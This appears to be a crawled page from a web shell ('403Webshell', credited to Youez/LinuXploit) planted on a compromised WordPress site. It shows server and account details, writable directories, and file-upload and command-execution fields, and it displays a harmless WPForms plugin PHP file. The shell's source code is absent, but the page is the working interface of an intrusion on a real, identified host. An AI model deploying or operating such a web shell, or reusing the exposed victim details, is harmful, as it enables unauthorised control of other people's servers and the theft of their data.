403Webshell
Server IP : 198.38.94.67  /  Your IP : 216.73.217.142
Web Server : LiteSpeed
System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
User : azfilmst ( 1070)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/azfilmst/alizamani.com/wp-content/plugins/wpforms-lite/src/Admin/Builder/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/azfilmst/alizamani.com/wp-content/plugins/wpforms-lite/src/Admin/Builder/ImageUpload.php
<?php

namespace WPForms\Admin\Builder;

/**
 * Image Upload functionality for the Form Builder Settings.
 *
 * @since 1.9.7.3
 */
class ImageUpload {

	/**
	 * Initialize class.
	 *
	 * @since 1.9.7.3
	 */
	public function init(): void {

		$this->hooks();
	}

	/**
	 * Register hooks.
	 *
	 * @since 1.9.7.3
	 */
	public function hooks(): void {

		add_action( 'wpforms_builder_enqueues', [ $this, 'enqueues' ] );
	}

	/**
	 * Enqueue assets for the Form Builder.
	 *
	 * @since 1.9.7.3
	 */
	public function enqueues(): void {

		$min = wpforms_get_min_suffix();

		wp_enqueue_script(
			'wpforms-builder-settings-image-upload',
			WPFORMS_PLUGIN_URL . "assets/js/admin/builder/image-upload{$min}.js",
			[ 'wp-util', 'wpforms-builder-settings' ],
			WPFORMS_VERSION,
			true
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit